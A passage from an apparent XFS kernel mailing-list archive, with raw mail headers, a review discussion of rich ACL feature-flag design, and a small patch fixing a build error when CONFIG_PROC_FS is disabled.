*, loff_t *); > int generic_cont_expand_simple(struct inode *inode, loff_t size); > int block_commit_write(struct page *page, unsigned from, unsigned to); > -int __block_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf, > - get_block_t get_block); > int block_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf, > get_block_t get_block); > /* Convert errno to return value from ->page_mkwrite() call */ > -- > 2.1.0 > -- Jan Kara SUSE Labs, CR From ahferroin7@gmail.com Tue Oct 13 14:22:33 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 003427F37 for ; Tue, 13 Oct 2015 14:22:33 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9EC298F8054 for ; Tue, 13 Oct 2015 12:22:29 -0700 (PDT) X-ASG-Debug-ID: 1444764147-04bdf020da107410001-NocioJ Received: from mail-io0-f180.google.com (mail-io0-f180.google.com [209.85.223.180]) by cuda.sgi.com with ESMTP id 294DF5j8MG7ONUVx (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 13 Oct 2015 12:22:27 -0700 (PDT) X-Barracuda-Envelope-From: ahferroin7@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.223.180 Received: by iow1 with SMTP id 1so32485747iow.1 for ; Tue, 13 Oct 2015 12:22:27 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:to:references:cc:from:message-id:date:user-agent :mime-version:in-reply-to:content-type; bh=M554lRmhd49P934Ml10HnBt5I8+lcLnrRH6DMk/A6hQ=; b=jUXjAXt6GZep9xbpAqQIdiPb8bDERuOVPzpec48N2gYcTlkvgcfL0hnGvuH7twmBLx t/ZYlxHvo2GVz80bywnHYJFj7Bfo/jKVN5jXFfUbU332uuazzlClFuGOstLk94HeYRNR Ir6/OoIeqp8gLCzxe9r1U903oVLxIZsoUoLGfwH0ihkLxg7rDru3HLVJK7++Le8fWofZ YZJFTfCB90YVIgIE7/O3+kJPHlej4Hc80SoP1i4ApSVBTo3MjyAFj1Im5VOAadvKTznl R3SXY62NJiWRkekRirCn6qE1EFxO24i2peQBGV5w03+LTT5kce1yeoT2na8rjvGXEVe9 M5dg== X-Received: by 10.107.5.74 with SMTP id 71mr36338573iof.161.1444764147025; Tue, 13 Oct 2015 12:22:27 -0700 (PDT) Received: from [127.0.0.1] (rrcs-70-62-41-24.central.biz.rr.com. [70.62.41.24]) by smtp.googlemail.com with ESMTPSA id y100sm2136749ioi.29.2015.10.13.12.22.24 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 13 Oct 2015 12:22:25 -0700 (PDT) Subject: Re: [PATCH v10 24/46] xfs: Add richacl support To: Andreas Gruenbacher , Dave Chinner X-ASG-Orig-Subj: Re: [PATCH v10 24/46] xfs: Add richacl support References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> <1444604337-17651-25-git-send-email-andreas.gruenbacher@gmail.com> <20151012001033.GA27164@dastard> <20151012040545.GC27164@dastard> Cc: =?UTF-8?Q?Andreas_Gr=c3=bcnbacher?= , Alexander Viro , Theodore Ts'o , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , linux-ext4 , xfs@oss.sgi.com, Linux Kernel Mailing List , Linux FS-devel Mailing List , Linux NFS Mailing List , linux-cifs@vger.kernel.org, Linux API Mailing List From: Austin S Hemmelgarn Message-ID: <561D59CE.9050507@gmail.com> Date: Tue, 13 Oct 2015 15:21:50 -0400 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: Content-Type: multipart/signed; protocol="application/pkcs7-signature"; micalg=sha-512; boundary="------------ms060304030105080606030309" X-Antivirus: avast! (VPS 151013-0, 2015-10-13), Outbound message X-Antivirus-Status: Clean X-Barracuda-Connect: mail-io0-f180.google.com[209.85.223.180] X-Barracuda-Start-Time: 1444764147 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23460 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature This is a cryptographically signed message in MIME format. --------------ms060304030105080606030309 Content-Type: text/plain; charset=utf-8; format=flowed Content-Transfer-Encoding: quoted-printable On 2015-10-12 01:57, Andreas Gruenbacher wrote: > On Mon, Oct 12, 2015 at 6:05 AM, Dave Chinner wro= te: >> On Mon, Oct 12, 2015 at 03:51:15AM +0200, Andreas Gr=C3=BCnbacher wrot= e: >>> 2015-10-12 2:10 GMT+02:00 Dave Chinner : >>>> On Mon, Oct 12, 2015 at 12:58:35AM +0200, Andreas Gruenbacher wrote:= >>>>> diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.= h >>>>> index 9590a06..8c6da45 100644 >>>>> --- a/fs/xfs/libxfs/xfs_format.h >>>>> +++ b/fs/xfs/libxfs/xfs_format.h >>>>> @@ -461,10 +461,18 @@ xfs_sb_has_ro_compat_feature( >>>>> #define XFS_SB_FEAT_INCOMPAT_FTYPE (1 << 0) /* filetype = in dirent */ >>>>> #define XFS_SB_FEAT_INCOMPAT_SPINODES (1 << 1) /* s= parse inode chunks */ >>>>> #define XFS_SB_FEAT_INCOMPAT_META_UUID (1 << 2) /* m= etadata UUID */ >>>>> + >>>>> +#ifdef CONFIG_XFS_RICHACL >>>>> +#define XFS_SB_FEAT_INCOMPAT_RICHACL (1 << 3) /* richacls *= / >>>>> +#else >>>>> +#define XFS_SB_FEAT_INCOMPAT_RICHACL 0 >>>>> +#endif >>>>> + >>>> >>>> Regardless of whether we build in richacl support, this is wrong. >>>> Feature bits are on-disk format definitions, so it will always have >>>> this value whether or not the kernel supports the feature. >>> >>> This is so that xfs_mount_validate_sb() will complain when mounting a= >>> richacl filesystem on a kernel which doesn't have richacl suport >>> compiled in. The same effect can be had with extra code there of >>> course. >> >> If the kernel doesn't know about a feature, then it will report >> "unknown feature". However, as of this patch set, the kernel will >> know about the richacl feature, and so the correct error message >> is to say "Rich ACLs not supported by this kernel". >> >> Also, from a disk format perspective, this is a this is a read-only >> compat feature, as kernels that don't have richacl support are still >> able to mount and walk the filesystem without errors occurring. It's >> only when allowing modifications are made that problems will arise, >> so why did you make it an incompat feature? > > As a read-only compat flag, kernels that cannot enforce richacls would > still be able to mount richacl file systems read-only. That's a > problem when acls are used to forbid read/execute access. It's also an irrelevant problem, anyone with a minimal knowledge of the=20 filesystem's on-disk layout can unset the feature bit by hand and force=20 it to be mounted anyway, thus bypassing the ACL's (this is the case for=20 any filesystem, not just XFS). If someone has access to the hardware,=20 they have access to the data stored on it, period, irrespective of what=20 the data says about how it should be accessed. The 3 most common cases for trying to mount a filesystem with this on a=20 kernel that doesn't support it are: a. Someone is trying to recover data on their own system using something = like SystemRescueCD. b. Someone is trying to recover data from a non-functional system that=20 they own or have been authorized to access for this purpose by=20 connecting the disk to another system. c. Someone is trying to bisect a kernel bug or track down what config=20 option is causing them issues. All three of these cases _need_ to keep working properly without needing = to manually twiddle with compat bits, otherwise it _will_ cause a lot of = people to advocate not using richacls. --------------ms060304030105080606030309 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature 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 cnQub3JnMSIwIAYDVQQDExlDQSBDZXJ0IFNpZ25pbmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcN AQkBFhJzdXBwb3J0QGNhY2VydC5vcmcCAxEt+DANBglghkgBZQMEAgMFAKCCAiEwGAYJKoZI hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMTUxMDEzMTkyMTUwWjBPBgkq hkiG9w0BCQQxQgRArBUGWWZFAbD+leqoCnJ+cAxw8j8yXpMSUbB7bw1UqItWlH/9270Nf4Od pdqL+vVSWt31hcG6ZZ4aH4BBrsvPjTBsBgkqhkiG9w0BCQ8xXzBdMAsGCWCGSAFlAwQBKjAL BglghkgBZQMEAQIwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMA0GCCqGSIb3DQMCAgFA MAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMIGRBgkrBgEEAYI3EAQxgYMwgYAweTEQMA4GA1UE ChMHUm9vdCBDQTEeMBwGA1UECxMVaHR0cDovL3d3dy5jYWNlcnQub3JnMSIwIAYDVQQDExlD QSBDZXJ0IFNpZ25pbmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNhY2Vy dC5vcmcCAxEt+DCBkwYLKoZIhvcNAQkQAgsxgYOggYAweTEQMA4GA1UEChMHUm9vdCBDQTEe MBwGA1UECxMVaHR0cDovL3d3dy5jYWNlcnQub3JnMSIwIAYDVQQDExlDQSBDZXJ0IFNpZ25p bmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNhY2VydC5vcmcCAxEt+DAN BgkqhkiG9w0BAQEFAASCAgBPWhX/SgfqmlcepEGctHnqt44hjsUxHb8h4h9fFAfSEfJqcXqB 29yhvZZzxCC7wr8SRrc6TfvBz8Sm5c4/kBItQJf7BJ9+GaDRm6JOFeQOE0U3edSydnBhyyPd U2olvc89DsRzOiwH68dV01oRYlXCTDo1qxi84JS4X0HTIc+cvNF2AoMckaGGaNymtl0Noj5t n0lYj63Wz9qO3HiFWFlsHNB+Q4Fr/pwPsK/wHrZlqbzVK4jkXeqpLmryrlfR8aSMZCmkDSzr 9IcNkbmQ3yzQZ5q5N1Q6C6NvwyhIZlKa8Jh/uAmWEeSNESbaB8CSJoCbeegnROGKVA+xOoG9 1xczV04oQZCyEhCjsF26/I2FVZHLoFMYj1QjIr4iYlBKP73hhPZa0Q3jaEQdZU3mvjJSTzz3 X+FaB3d+5Zp2ASP4u3BBUdR/AUMELyusUtIpd6H0hvVHhD7DB1mkrzp4weP4Z9BR7IDTkQLY YHKt7nG95/J/iS4mqTJsHDRKZuv6CldVREHKua5fTQ3Q6DpJtpkeox/6zOV9elTynTMsLsn8 UdIiMFpNNIDIcD29CAy0csWlxQzBi5llrE/dOmvciiiVfb0I9MbOoKYsE4r3bzqvs1OwIlDe zwFwNa2mLtjcDEcI1zpdMaL4lY/Kgk+9Ad5nLyT/EjN1MFw1CFn6gucXOQAAAAAAAA== --------------ms060304030105080606030309-- From david@fromorbit.com Tue Oct 13 15:41:24 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A3BBD7F37 for ; Tue, 13 Oct 2015 15:41:24 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 650DE304032 for ; Tue, 13 Oct 2015 13:41:24 -0700 (PDT) X-ASG-Debug-ID: 1444768880-04bdf020dc10c1f0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id KqBoFVdQqnc3jkgb for ; Tue, 13 Oct 2015 13:41:21 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2AdEACyax1WPCSkLHlegyaBQoJdg36iUgEBAQeLH4slgxODAwICAQECgUlNAQEBAQEBBwEBAQFBP0EGg18BAQEEOhwjEAgDFQMJJQ8FDRgDBxoTiBkDEb1bDYR6AQEIAgEfGYYVhUWBPYETgVhlB4QuAQSSVoNAiyaBbIFghDqJC4Uih0mCdA0QgWgqM4Q9a4FJAQEB Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 14 Oct 2015 07:11:20 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1Zm6Nr-00037u-Ax; Wed, 14 Oct 2015 07:41:19 +1100 Date: Wed, 14 Oct 2015 07:41:19 +1100 From: Dave Chinner To: Jim Davis Cc: Stephen Rothwell , linux-next , linux-kernel , xfs@oss.sgi.com Subject: Re: randconfig build error with next-20151013, in fs/xfs/libxfs/xfs_alloc.c Message-ID: <20151013204119.GI31326@dastard> X-ASG-Orig-Subj: Re: randconfig build error with next-20151013, in fs/xfs/libxfs/xfs_alloc.c References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444768880 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23461 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Oct 13, 2015 at 09:41:25AM -0700, Jim Davis wrote: > Building with the attached random configuration file, > > fs/built-in.o: In function `xfs_free_ag_extent': > /home/jim/linux-next/fs/xfs/libxfs/xfs_alloc.c:1813: undefined > reference to `xfsstats' Please test the patch below. -Dave. -- Dave Chinner david@fromorbit.com xfs: stats are no longer dependent on CONFIG_PROC_FS From: Dave Chinner So we need to fix the makefile to understand this, otherwise build errors with CONFIG_PROC_FS=n occur. Reported-by: Jim Davis Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 2 +- fs/xfs/xfs_stats.c | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index 2fbf910..6506e87 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -84,6 +84,7 @@ xfs-y += xfs_aops.o \ xfs_message.o \ xfs_mount.o \ xfs_mru_cache.o \ + xfs_stats.o \ xfs_super.o \ xfs_symlink.o \ xfs_sysfs.o \ @@ -118,7 +119,6 @@ xfs-$(CONFIG_XFS_QUOTA) += xfs_dquot.o \ xfs-$(CONFIG_XFS_RT) += xfs_rtalloc.o xfs-$(CONFIG_XFS_POSIX_ACL) += xfs_acl.o -xfs-$(CONFIG_PROC_FS) += xfs_stats.o xfs-$(CONFIG_SYSCTL) += xfs_sysctl.o xfs-$(CONFIG_COMPAT) += xfs_ioctl32.o xfs-$(CONFIG_NFSD_PNFS) += xfs_pnfs.o diff --git a/fs/xfs/xfs_stats.c b/fs/xfs/xfs_stats.c index bd50619..8686df6 100644 --- a/fs/xfs/xfs_stats.c +++ b/fs/xfs/xfs_stats.c @@ -161,6 +161,7 @@ static const struct file_operations xqmstat_proc_fops = { }; #endif /* CONFIG_XFS_QUOTA */ +#ifdef CONFIG_PROC_FS int xfs_init_procfs(void) { @@ -191,3 +192,4 @@ xfs_cleanup_procfs(void) { remove_proc_subtree("fs/xfs", NULL); } +#endif /* CONFIG_PROC_FS */ From jim.epost@gmail.com Tue Oct 13 16:08:33 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7410B7F37 for ; Tue, 13 Oct 2015 16:08:33 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 634A9304039 for ; Tue, 13 Oct 2015 14:08:30 -0700 (PDT) X-ASG-Debug-ID: 1444770508-04cbb00e8047ac0001-NocioJ Received: from mail-vk0-f51.google.com (mail-vk0-f51.google.com [209.85.213.51]) by cuda.sgi.com with ESMTP id toOTBEUYg04lr89g (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 13 Oct 2015 14:08:29 -0700 (PDT) X-Barracuda-Envelope-From: jim.epost@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.213.51 Received: by vkat63 with SMTP id t63so18582647vka.1 for ; Tue, 13 Oct 2015 14:08:28 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=L45/jxbwENOFvv3OGRt0OWyAk3irvJufMGtB0CteTMY=; b=UE/7c/+IQ0AOAvJXR36hZzVLGMtdJOZ4UsDk8VwHq5j5fsNKPzhJVDYr0bYAWfSWFf uZrEdQpQtd1cOhNkys52upSG29boTAWYQ8ER9xI+K2Q0vbJVBl7E75wUd+h0qvUEDGl2 GDUMPZXzMcfC/jROi/vGs2xa8AOtR/8YErZpPlgOKztSByCDkOrLSMqWffhayOLDRyLo 9gfeClaOlNimEipRnB4RmiI/+RfHTsjS6JW/rEkENVnK5ymVleTqMEfJ6HD4PXvSKGUY iN3o3WXz6hh5LlSVh6X5QqmXrJoC37impyMD9lbiUBb/GO/CvCIyb09wMRRqNltA/qjX 3tMQ== MIME-Version: 1.0 X-Received: by 10.31.9.81 with SMTP id 78mr20626064vkj.10.1444770508675; Tue, 13 Oct 2015 14:08:28 -0700 (PDT) Received: by 10.31.59.138 with HTTP; Tue, 13 Oct 2015 14:08:28 -0700 (PDT) In-Reply-To: <20151013204119.GI31326@dastard> References: <20151013204119.GI31326@dastard> Date: Tue, 13 Oct 2015 14:08:28 -0700 Message-ID: Subject: Re: randconfig build error with next-20151013, in fs/xfs/libxfs/xfs_alloc.c From: Jim Davis X-ASG-Orig-Subj: Re: randconfig build error with next-20151013, in fs/xfs/libxfs/xfs_alloc.c To: Dave Chinner Cc: Stephen Rothwell , linux-next , linux-kernel , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-vk0-f51.google.com[209.85.213.51] X-Barracuda-Start-Time: 1444770509 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23461 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Oct 13, 2015 at 1:41 PM, Dave Chinner wrote: > On Tue, Oct 13, 2015 at 09:41:25AM -0700, Jim Davis wrote: >> Building with the attached random configuration file, >> >> fs/built-in.o: In function `xfs_free_ag_extent': >> /home/jim/linux-next/fs/xfs/libxfs/xfs_alloc.c:1813: undefined >> reference to `xfsstats' > > Please test the patch below. > > -Dave. > -- > Dave Chinner > david@fromorbit.com > > > xfs: stats are no longer dependent on CONFIG_PROC_FS > > From: Dave Chinner > > So we need to fix the makefile to understand this, otherwise build > errors with CONFIG_PROC_FS=n occur. > > Reported-by: Jim Davis > Signed-off-by: Dave Chinner > --- > fs/xfs/Makefile | 2 +- > fs/xfs/xfs_stats.c | 2 ++ > 2 files changed, 3 insertions(+), 1 deletion(-) > > diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile > index 2fbf910..6506e87 100644 > --- a/fs/xfs/Makefile > +++ b/fs/xfs/Makefile > @@ -84,6 +84,7 @@ xfs-y += xfs_aops.o \ > xfs_message.o \ > xfs_mount.o \ > xfs_mru_cache.o \ > + xfs_stats.o \ > xfs_super.o \ > xfs_symlink.o \ > xfs_sysfs.o \ > @@ -118,7 +119,6 @@ xfs-$(CONFIG_XFS_QUOTA) += xfs_dquot.o \ > xfs-$(CONFIG_XFS_RT) += xfs_rtalloc.o > > xfs-$(CONFIG_XFS_POSIX_ACL) += xfs_acl.o > -xfs-$(CONFIG_PROC_FS) += xfs_stats.o > xfs-$(CONFIG_SYSCTL) += xfs_sysctl.o > xfs-$(CONFIG_COMPAT) += xfs_ioctl32.o > xfs-$(CONFIG_NFSD_PNFS) += xfs_pnfs.o > diff --git a/fs/xfs/xfs_stats.c b/fs/xfs/xfs_stats.c > index bd50619..8686df6 100644 > --- a/fs/xfs/xfs_stats.c > +++ b/fs/xfs/xfs_stats.c > @@ -161,6 +161,7 @@ static const struct file_operations xqmstat_proc_fops = { > }; > #endif /* CONFIG_XFS_QUOTA */ > > +#ifdef CONFIG_PROC_FS > int > xfs_init_procfs(void) > { > @@ -191,3 +192,4 @@ xfs_cleanup_procfs(void) > { > remove_proc_subtree("fs/xfs", NULL); > } > +#endif /* CONFIG_PROC_FS */ Looks good! Thanks. Tested-by: Jim Davis -- Jim From david@fromorbit.com Tue Oct 13 16:25:14 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6816D7F37 for ; Tue, 13 Oct 2015 16:25:14 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 489548F8035 for ; Tue, 13 Oct 2015 14:25:11 -0700 (PDT) X-ASG-Debug-ID: 1444771508-04cbb00e8b488c0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id V0EwK5M923uOGNy4 for ; Tue, 13 Oct 2015 14:25:09 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2AcEAAwdh1WPCSkLHlegyaBQoJdg36iUQEBAQeLH4slgxODAwICAQECgUlNAQEBAQEBBwEBAQFBP0EGg2ABAQQ6HCMQCAMYCSUPBQ0YAwcaE4gZAxG9YA2EfAEBCAIgGYYVhUWBPYETgj0HhC4BBJYWiyaBbIFghDqJC4Uih0mDAYF4KjOEPYI0AQEB Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 14 Oct 2015 07:54:55 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1Zm742-0003Ek-2a; Wed, 14 Oct 2015 08:24:54 +1100 Date: Wed, 14 Oct 2015 08:24:54 +1100 From: Dave Chinner To: Jim Davis Cc: Stephen Rothwell , linux-next , linux-kernel , xfs@oss.sgi.com Subject: Re: randconfig build error with next-20151013, in fs/xfs/libxfs/xfs_alloc.c Message-ID: <20151013212454.GJ31326@dastard> X-ASG-Orig-Subj: Re: randconfig build error with next-20151013, in fs/xfs/libxfs/xfs_alloc.c References: <20151013204119.GI31326@dastard> MIME-Version: 1.0 Content-Type: 